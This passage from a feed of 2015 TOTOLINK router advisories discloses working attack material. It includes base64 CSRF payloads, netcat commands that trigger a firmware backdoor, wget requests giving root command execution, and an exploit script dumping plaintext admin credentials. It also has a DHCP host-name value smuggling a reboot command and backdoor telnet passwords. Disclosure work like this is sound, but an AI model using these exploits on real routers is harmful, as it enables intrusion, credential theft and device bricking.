&lt;meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iU1lTIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJmaXJld2FsbGNvbmZfYWNjZXNzbGlzdC5odG1sIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibm93YWl0IiB2YWx1ZT0iMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDAiIHZhbHVlPSIxNzM2NzI5Nj0zMTMzNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSIxNzIzNjIyND0xIj4KPC9mb3JtPgo8L2JvZHk+CjwvaHRtbD4K"&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;


Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate
the remote management interface on port 31337/TCP.

You can test it through http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-change_dns_csrf_bypass.html



o change_dns_csrf_bypass.html:

&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iV0FOIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJuZXRjb25mX3dhbnNldHVwLmh0bWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQwIiB2YWx1ZT0iNTAzOTc0NDA9MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSI1MDg1Njk2MD02NC1FNS05OS1BQS1BQS1BQSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDIiIHZhbHVlPSIyMzUwNzc4ODg9MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDMiIHZhbHVlPSIyMzUwMTI4NjU9MC4yLjAuNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDQiIHZhbHVlPSIyMzUwMTI4NjY9MS4yLjAuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDUiIHZhbHVlPSI1MTExODMzNj0wIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUNiIgdmFsdWU9IjUxODM5MjMyPTEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQ3IiB2YWx1ZT0iNTE1MTE1NTI9MTUwMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDgiIHZhbHVlPSIxMTc4MzQyNDA9Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUOSIgdmFsdWU9IjExNzcwMzE2OD0iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQxMCIgdmFsdWU9IjExNzYzNzM3Nj0xNDkyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTEiIHZhbHVlPSI1MTQ0NjAxNj0xNTAwIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTIiIHZhbHVlPSI1MDQ2MzQ4OD0xOTIuMTY4LjEuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEzIiB2YWx1ZT0iNTA1MjkwMjQ9MjU1LjI1NS4yNTUuMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDE0IiB2YWx1ZT0iNTA1OTQ1NjA9MTkyLjE2OC4xLjI1NCI+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg=="&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;


Visiting activate_admin_wan_csrf_bypass.html in a remote location will change the DNS servers
provided by the TOTOLINK device in the LAN.

You can test it through http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-activate_admin_wan_csrf_bypass.html



## Details - stored XSS and fun

There is a stored XSS, which can be injected using UPNP from the LAN, without authentication:

upnp&gt; host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name:  NewPortMappingDescription
Data Type:      string
Allowed Values: []
Set NewPortMappingDescription value to: &lt;script&gt;alert("XSS");&lt;/script&gt;

Required argument:
Argument Name:  NewLeaseDuration
Data Type:      ui4
Allowed Values: []
Set NewLeaseDuration value to: 0

Required argument:
Argument Name:  NewInternalClient
Data Type:      string
Allowed Values: []
Set NewInternalClient value to: &lt;script&gt;alert("XSS");&lt;/script&gt;

Required argument:
Argument Name:  NewEnabled
Data Type:      boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name:  NewExternalPort
Data Type:      ui2
Allowed Values: []
Set NewExternalPort value to: 80

Required argument:
Argument Name:  NewRemoteHost
Data Type:      string
Allowed Values: []
Set NewRemoteHost value to: &lt;script&gt;alert("XSS");&lt;/script&gt;

Required argument:
Argument Name:  NewProtocol
Data Type:      string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name:  NewInternalPort
Data Type:      ui2
Allowed Values: []
Set NewInternalPort value to: 80


upnp&gt;


The UPNP webpage in the administration area (http://192.168.0.1/popup_upnp_portmap.html) will show:

[...]
&lt;tr&gt;
&lt;td class=item_td&gt;TCP&lt;/td&gt;
&lt;td class=item_td&gt;21331&lt;/td&gt;
&lt;td class=item_td&gt;&lt;script&gt;alert("XSS")&lt;script&gt;alert("XSS");&lt;/script&gt;:28777&lt;/td&gt;
&lt;td class=item_td&gt;&lt;script&gt;alert("XSS");&lt;/script&gt;&lt;/td&gt;
&lt;/tr&gt;
[...]


- - - - From my research, there are some bits overflapping with others, resulting in showing funny ports
and truncating input data. A remote DoS against the upnpd process seems to be easily done.

Gaining Remote Code Execution by UPNP exploitation is again left as a exercise for the reader.



## Vendor Response

Due to "un-ethical code" found in TOTOLINK products (= backdoors found in new TOTOLINK devices), TOTOLINK was not contacted in regard of this case.



## Report Timeline

* Apr 20, 2015: Vulnerabilities found by Pierre Kim in ipTIME devices.
* Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jun 25, 2015: Vulnerabilities found in TOTOLINK products by looking for similar ipTIME products.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).



## Greetings

Big thanks to Alexandre Torres.



## References

https://pierrekim.github.io/advisories/2015-totolink-0x01.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJVq/PbAAoJEMQ+Dtp9ky28JPQQAIaJJ3qgA0YZQ7AG39aUav3t
z53mLvi5Cej3FfLVFxWeejbdkLWRLQCr+jwLH/oNyc4V4N/aDE7X8LNWDsN5LRQv
wN21zY83sGkcG8FB3cSSubMjWZ2ZjeH7MSwSryXjfIO/RAFfRFFPV/1abdkqQWIn
WvLHkDMI/8fHJc5mNJeAqqtsK9+t0kz6OdABmvAA5dNGd1ZddEaG/HW8xnebcAlh
ByuLynQ5rgUGr+eTmB+DZinMk1e/P6ZiEs0urmIshUYeX3gx808Q68tF7jKcJNtr
lC5NVJ6h8cQ3pjMOMs/5RQLcC6aCRidX3AoaO/kyibMTz+F6VwJD2WQwxb78M0B3
FjjrHb+v1MdLhantwhZ1mfznm7rJ1/5TCq0hVjQ6sXc5/KbkZRQWq8IC65I6kFRm
aRp2U17C5OLJ4KQ2vYb/0yy4KaIL1C7gCB2oWZ8CyyG53wn79CxcPQ5uO2Jnf6XM
UP597Bq1JDlDsTGpMjf0kBZ8v2vcjc3gN8EZg7T2w4aNuxMjm+Y8gbu51s8yDSdC
G0xg6mqZa2ZIt2FbWmMgo/+t04aBaUGB4y5tIeILWH2FFrHlpyvtuU5IMys/DiO+
7Nr8g4RTEskP8x2/TAh05YJYcY8Bai5RTAQaTwT3cUNdp3B8UiLxtVwfTzmI4//F
bjG1WlLuMMpz1dwPfEB6
=c3Q7
-----END PGP SIGNATURE-----
</code></pre></content>
    </entry>
    
    <entry>
        <title>Backdoor credentials found in 4 TOTOLINK router models</title>
        <link href="2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html"/>
        <content type="html"><pre><code>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: Backdoor credentials found in 4 TOTOLINK router models
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x03.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea.
TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.



## Vulnerabilities Summary

Backdoor credentials are present in several TOTOLINK products.

It affects 4 TOTOLINK products (firmwares come from totolink.net and from totolink.cn):

- G150R-V1 : last firmware 1.0.0-B20150330 (TOTOLINK-G150R-V1.0.0-B20150330.1734.web)
- G300R-V1 : last firmware 1.0.0-B20150330 (TOTOLINK-G300R-V1.0.0-B20150330.1816.web)
- N150RH-V1 : last firmware 1.0.0-B20131219 (TOTOLINK-N150RH-V1.0.0-B20131219.1014.web)
- N301RT-V1 : last firmware 1.0.0 (TOTOLINK N301RT_V1.0.0.web)

It allows an attacker in the LAN to connect to the device using telnet with 2 different accounts: root and 'onlime_r' which gives with root privileges.



## Details - G150R-V1 and G300R-V1

The init.d script executes these commands when the router starts:

[...]
cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
telnetd&amp;
[...]


The /etc/passwd_orig contains backdoor credentials:

root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

The corresponding passwords are:

root:12345
onlime_r:12345


## Details - N150RH-V1 and N301RT

The init.d script executes these commands when the router starts:

[...]
#start telnetd
telnetd&amp;
[...]

The binary /bin/sysconf executes these commands when the router starts:

system("cp /etc/passwd.org /var/passwd 2&gt; /dev/null")


The /etc/passwd.org contains backdoor credentials:

root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null

The corresponding passwords are:

root:12345
onlime_r:12345



## Vendor Response

TOTOLINK was not contacted in regard of this case.



## Report Timeline

* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.
* Jun 26, 2015: working PoCs.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These backdoor credentials were found Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2015-totolink-0x03.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJVq/MNAAoJEMQ+Dtp9ky28FroP/jM/FCTlC93R5bdmPzn7l0kR
247lhuqqMO689jGkz3kiTqUIEidKoAluH6xqs2xhqVMYie9CfrWsRwrbuF+5RSkZ
jmzvGVH2teGBuJ70+hVY81FvEsleG5eCdz4nZXKPcyLMfSw0HxxBp4ooCDQsSj2f
WAgKfQmKY123TLAwE+R51z2ZXPlxMIyRyjy33utQk5wtDCK0gqOtsFqA7CLtJgth
EBi2YjrxNDM8FYJx4f7A8RBAOp34rHQx/xn2yvylwUkwZ8P0LcC9EmMPZUo0q3xu
dIfPV1HJWlYyPVxqXg9ATWvODBbAyOWpf0/CwBsRmZVRbJL7/9tCzDYRwrm9PFgJ
Od47n+82UfvD1aiAQxdm983Rf5i2t2ssW/e2fr9jOiWqIQChc/eRmUpso8Okluzo
ZUVxhJGBigAsd+Z0FRCeBUki8LUKCAtbfe7Vkn/v5AlOamyc/VNOQNZpbbqa1SUv
64DaPOhzXQ6WBGkzwxWOHy+qfQT+7/dfGZ7i6n7TwV4tIJm6yLioPBp7F1WceWh6
KySutfVi0wpIf8mcbigsdaHmPqGSNxKnbitr8GETdV+WME5REvn9d8DhSJ7Cy+Eh
PNPDAdSZES8WPl0f5QCNgNUxrCsFM7DLW6P15HFI/NqFzLAdifqT6IKeQtXTdYwH
g9PPILKUXFZssc0SceTB
=pLPu
-----END PGP SIGNATURE-----
</code></pre></content>
    </entry>
    
    <entry>
        <title>Backdoor and RCE found in 8 TOTOLINK router models</title>
        <link href="2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html"/>
        <content type="html"><h2>Product Description</h2>
<p>TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea.
TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.</p>
<h2>Vulnerabilities Summary</h2>
<p>A backdoor is present in several TOTOLINK products.
This was confirmed by analyzing the latest firmwares and by testing the backdoor against live routers.</p>
<p>At least 8 TOTOLINK products are affected (firmwares come from totolink.net and from totolink.cn):</p>
<ul>
<li>A850R-V1 : until last firwmware TOTOLINK-A850R-V1.0.1-B20150707.1612.web</li>
<li>F1-V2 : until last firmware F1-V2.1.1-B20150708.1646.web</li>
<li>F2-V1 : until last firmware F2-V2.1.0-B20150320.1611.web</li>
<li>N150RT-V2 : until last firmware TOTOLINK-N150RT-V2.1.1-B20150708.1548.web</li>
<li>N151RT-V2 : until last firmware TOTOLINK-N151RT-V2.1.1-B20150708.1559.web</li>
<li>N300RH-V2 : until last firmware TOTOLINK-N300RH-V2.0.1-B20150708.1625.web</li>
<li>N300RH-V3 : until last firmware TOTOLINK-N300RH-V3.0.0-B20150331.0858.web</li>
<li>N300RT-V2 : until last firmware TOTOLINK-N300RT-V2.1.1-B20150708.1613.web</li>
</ul>
<p>By sending a crafted request to the WAN IP, an attacker will open the HTTP remote management interface on the Internet.
Then an attacker can use a Remote Code Execution in the HTTP remote management interface by using the hidden /boafrm/formSysCmd form, bypassing the authentication system.</p>
<p>We estimate there are =~ 50 000 routers affected by this backdoor.</p>
<h2>Details - backdoor - CVE-2015-9550</h2>
<p>The /etc/init.d/rcS script executes the /bin/skt binary when the router starts:</p>
<pre><code>cat etc/init.d/rcS
[...]
# start web server
boa
skt&amp;
</code></pre>
<p>skt is a small MIPS binary which is a client/server program. The arguments are:</p>
<pre><code>server: ./skt
client: ./skt host cmd
</code></pre>
<p>The binary can be used in x86_64 machines using QEMU: sudo chroot . ./qemu-mips-static ./bin/skt</p>
<p>Using skt without argument will launch a TCP daemon on port 5555 in every interface (including WAN), acting as an ECHO server.
Using skt with arguments will send a TCP packet containing the command to the specified IP on port 5555.</p>
<p>There are 2 main functions in <code>skt</code>:</p>
<ul>
<li>TcpClient is a simple TCP client.</li>
<li>TcpServer looks like an echo server.</li>
</ul>
<p><strong>TcpClient:</strong></p>
<p>It will send a TCP packet containing hel,xasf, oki,xasf or bye,xasf, depending the arguments used (1,2,3), to a remote IP on port 5555.</p>
<p><strong>TcpServer:</strong></p>
<p>TcpServer is an echo server listening on port 5555/tcp and  it compares strings provided by the user with hardcoded
strings ("hel,xasf", "oki,xasf").</p>
<p>The problem is in the sub_400B50 function:</p>
<p><img alt="" src="images/2015-totolink-0x02-backdoor-00.png" /></p>
<p><strong>Pseudo-code of sub_400B50:</strong></p>
<pre><code>int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) {
    if (strcmp(str, "hel,xasf") == 0) {
        system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");
    } else {
        if (strcmp(str, "oki,xasf") == 0) {
            system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");
        }
    }
    [...]
}
</code></pre>
<p>This function compares str, which is an user-given string, with 2 hardcoded strings to execute system().</p>
<p>The analysis of the binary running on the TOTOLINK devices shows the server mode responds to 3 commands by silently executing
system() in the background:</p>
<ul>
<li>
<p>By sending "hel,xasf" to the device, the device will execute:</p>
<p>iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT</p>
<p>This will open the HTTP remote management interface on port 80 in the eth1 interface which is the WAN interface by default.</p>
</li>
<li>
<p>By sending "oki,xasf" to the device, the device will execute:</p>
<p>iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT </p>
<p>This will close the HTTP remote management interface.</p>
</li>
<li>
<p>By sending "bye,xasf" (hardcoded string in the binary) to the device, the device will do nothing</p>
</li>
</ul>
<p>The iptables commands in the backdoor are hardcoded with "eth1".
Only devices using DHCP and static IP connections are affected because the WAN IP is attached on the eth1 device.</p>
<p>It does not affect devices using PPPoE connections, because the WAN IP is attached on the ppp device, as seen below:</p>
<pre><code>totolink# ifconfig
ppp0      Link encap:Point-to-Point Protocol  
          inet addr:X.X.X.X  P-t-P:X.X.X.X  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1438  Metric:1
          RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:64 
          RX bytes:2803138455 (2.6 GiB)  TX bytes:277402492 (264.5 MiB)
</code></pre>
<p>An attacker can use these simple netcat commands to test the backdoor:</p>
<p>To open the HTTP remote management interface on the Internet:</p>
<pre><code>echo -ne "hel,xasf" | nc &lt;ip&gt; 5555
</code></pre>
<p>To close the HTTP remote management interface on the Internet:</p>
<pre><code>echo -ne "oki,xasf" | nc &lt;ip&gt; 5555
</code></pre>
<p>To detect a vulnerable router:</p>
<pre><code>echo -ne "GET / HTTP/1.1" | nc &lt;ip&gt; 5555

if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.
</code></pre>
<p><strong>HTTP remote management interface open with the backdoor:</strong></p>
<p><img alt="" src="images/2015-totolink-0x02-backdoor-01.png" /></p>
<h2>Details - RCE in the management interface - CVE-2015-9551</h2>
<p>A hidden form in the latest firmware allows an attacker to execute commands as root by sending a HTTP request:</p>
<pre><code>POST /boafrm/formSysCmd HTTP/1.1

sysCmd=&lt;cmd&gt;&amp;apply=Apply&amp;msg=
</code></pre>
<p>An attacker can use wget to execute commands in the remote device:</p>
<pre><code>wget --post-data='sysCmd=&lt;cmd&gt;&amp;apply=Apply&amp;msg=' http://ip//boafrm/formSysCmd
</code></pre>
<p>For instance, sending this HTTP request to the management interface will reboot the device:</p>
<pre><code>POST /boafrm/formSysCmd HTTP/1.1

sysCmd=reboot&amp;apply=Apply&amp;msg=
</code></pre>
<p>This wget command will do the same job:</p>
<pre><code>wget --post-data='sysCmd=reboot&amp;apply=Apply&amp;msg=' http://ip//boafrm/formSysCmd
</code></pre>
<h2>Vendor Response</h2>
<p>TOTOLINK was not contacted in regard of this case.</p>
<h2>Report Timeline</h2>
<ul>
<li>Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.</li>
<li>Jun 26, 2015: working PoCs with RCE.</li>
<li>Jul 16, 2015: A public advisory is sent to security mailing lists.</li>
<li>Nov 24, 2020: MITRE provides CVE-2015-9550, CVE-2015-9551.</li>
</ul>
<h2>Credit</h2>
<p>These vulnerabilities were found by Alexandre Torres and Pierre Kim (@PierreKimSec).</p>
<h2>References</h2>
<p>https://pierrekim.github.io/advisories/2015-totolink-0x02.txt
https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html</p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/</p></content>
    </entry>
    
    <entry>
        <title>15 TOTOLINK router models vulnerable to multiple RCEs</title>
        <link href="2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html"/>
        <content type="html"><pre><code>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: 15 TOTOLINK router models vulnerable to multiple RCEs
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea.
TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.



## Vulnerabilities Summary

The first vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single HTTP request.

The second vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single DHCP request.

There are direct RCEs against the routers which give a complete root access to the embedded Linux from the LAN side.

The two RCEs affect 13 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration:

- - TOTOLINK A1004 : until last firmware (9.34 - za1004_en_9_34.bin)
- - TOTOLINK A5004NS : until last firmware (9.38 - za5004s_en_9_38.bin)
- - TOTOLINK EX300 : until last firmware (8.68 - TOTOLINK EX300_8_68.bin - totolink.net)
- - TOTOLINK EX300 : until last firmware (9.36 - ex300_ch_9_36.bin.5357c0 - totolink.cn)
- - TOTOLINK N150RB : until last firmware (9.08 - zn150rb_en_9_08.bin.5357c0)
- - TOTOLINK N300RB : until last firmware (9.26 - zn300rb_en_9_26.bin)
- - TOTOLINK N300RG : until last firmware (8.70 - TOTOLINK N300RG_8_70.bin)
- - TOTOLINK N500RDG : until last firmware (8.42 - TOTOLINK N500RDG_en_8_42.bin)
- - TOTOLINK N600RD : until last firmware (8.64 - TOTOLINK N600RD_en_8_64.bin)
- - TOTOLINK N302R Plus V1 : until the last firmware 8.82 (TOTOLINK N302R Plus V1_en_8_82.bin)
- - TOTOLINK N302R Plus V2 : until the last firmware 9.08 (TOTOLINK N302R Plus V2_en_9_08.bin)
- - TOTOLINK A3004NS (no firmware available in totolinkusa.com but ipTIME's A3004NS model was vulnerable to the 2 RCEs)
- - TOTOLINK EX150 : until the last firmware (8.82 - ex150_ch_8_82.bin.5357c0)


The DHCP RCE also affects 2 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration:

- - TOTOLINK A2004NS : until last firmware (9.60 - za2004s_en_9_60.bin)
- - TOTOLINK EX750 : until last firmware (9.60 - ex750_en_9_60.bin)


Firmwares come from totolink.net and from totolink.cn.

- - From my tests, it is possible to use these vulnerabilities to overwrite the firmware with a custom (backdoored) firmware.

Concerning the high CVSS score (10/10) of the vulnerabilities and the longevity of this vulnerability (6+ year old),
the TOTOLINK users are urged to contact TOTOLINK.



## Details - RCE with a single HTTP request

The HTTP server allows the attacker to execute some CGI files.

Many of them are vulnerable to a command inclusion which allows to execute commands with the http daemon user rights (root).


Exploit code:

$ cat totolink.carnage
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh


The exploits have been written in HTML/JavaScript, in form of CSRF
attacks, allowing people to test their systems in live using their
browsers:
http://pierrekim.github.io/advisories/


o Listing of the filesystem

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-listing.of.the.filesystem.html

Using CLI:

root@kali:~/totolink# ./totolink.carnage 192.168.1.1 ls | head
ash
auth
busybox
cat
chmod
cp
d.cgi
date
echo
false
root@kali:~/totolink#


o How to retrieve the credentials ? (see login and password at the end of the text file)

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-dump.configuration.including.credentials.html

Using CLI:

kali# ./totolink.carnage 192.168.1.1 cat /tmp/etc/iconfig.cfg
wantype.wan1=dynamic
dhblock.eth1=0
ppp_mtu=1454
fakedns=0
upnp=1
ppp_mtu=1454
timeserver=time.windows.com,gmt22,1,480,0
wan_ifname=eth1
auto_dns=1
dhcp_auto_detect=0
wireless_ifmode+wlan0=wlan0,0
dhcpd=0
lan_ip=192.168.1.1
lan_netmask=255.255.255.0
dhcpd_conf=br0,192.168.1.2,192.168.1.253,192.168.1.1,255.255.255.0
dhcpd_dns=164.124.101.2,168.126.63.2
dhcpd_opt=7200,30,200,
dhcpd_configfile=/etc/udhcpd.conf
dhcpd_lease_file=/etc/udhcpd.leases
dhcpd_static_lease_file=/etc/udhcpd.static
use_local_gateway=1
login=admin
password=admin

Login and password are stored in plaintext, which is a very bad security practice.


o Current running process:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-current.process.html

Using CLI:

kali# ./totolink.carnage 192.168.1.1 ps -auxww


o Getting the kernel memory:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-getting.kernel.memory.html

Using CLI:

kali# ./totolink.carnage 192.168.1.1 cat /proc/kcore


o Default firewall rules:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-default.firewall.rules.html

Using CLI:

kali# ./iptime.carnage.l2.v9.52 192.168.1.1 iptables -nL


o Opening the management interface on the WAN:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-opening.the.firewall.html


o Reboot the device:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-reboot.html


o Brick the device:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-bricking.the.device.html


An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root.

By the way, d.cgi in /bin/ is an intentional backdoor.



## Details - RCE with a single DHCP request

This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD server in TOTOLINK devices allows remote attackers to execute arbitrary commands
via shell metacharacters in the host-name field.

Sending a DHCP request with this parameter will reboot the device:

cat /etc/dhcp/dhclient.conf

send host-name ";/sbin/reboot";

When connecting to the UART port (`screen /dev/ttyUSB0 38400`), we will see the stdout of the /dev/console device;
the dhcp request will immediately force the reboot of the remote device:


Booting...

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

[...]
WiFi Simple Config v1.12 (2009.07.31-11:35+0000).

Launch iwcontrol: wlan0
Reaped 317
iwcontrol RUN OK
SIGNAL -&gt; Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -&gt; WAN ip changed
WAN0 IP: 192.168.2.1
signalling START
Invalid upnpd exit
killall: upnpd: no process killed
upnpd Restart 1
iptables: Bad rule (does a matching rule exist in that chain?)
Session Garbage Collecting:Maybe system time is updated.( 946684825 0 )
Update Session timestamp and try it after 5 seconds again.
ez_ipupdate callback --&gt; time_elapsed: 0
Run DDNS by IP change:  / 192.168.2.1
Reaped 352
iptables: Bad rule (does a matching rule exist in that chain?)
Jan  1 00:00:25 miniupnpd[370]: Reloading rules from lease file
Jan  1 00:00:25 miniupnpd[370]: could not open lease file: /var/run/upnp_pmlist
Jan  1 00:00:25 miniupnpd[370]: HTTP listening on port 2048
Reaped 363
Led Silent Callback
Turn ON All LED
Dynamic Channel Search for wlan0 is OFF
start_signal =&gt; plantynet_sync
Do start_signal =&gt; plantynet_sync
SIGNAL -&gt; Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -&gt; WAN ip changed
Reaped 354
iptables: Bad rule (does a matching rule exist in that chain?)
ez_ipupdate callback --&gt; time_elapsed: 1
Run DDNS by IP change:  / 192.168.2.1
Burst DDNS Registration is denied: iptime -&gt; now:26
Led Silent Callback
Turn ON All LED
/proc/sys/net/ipv4/tcp_syn_retries: cannot create
- - - - ---&gt; Plantynet Event : 00000003
- - - - ---&gt; PLANTYNET_SYNC_INTERNET_BLOCK_DEVICE


[sending the DHCP request]


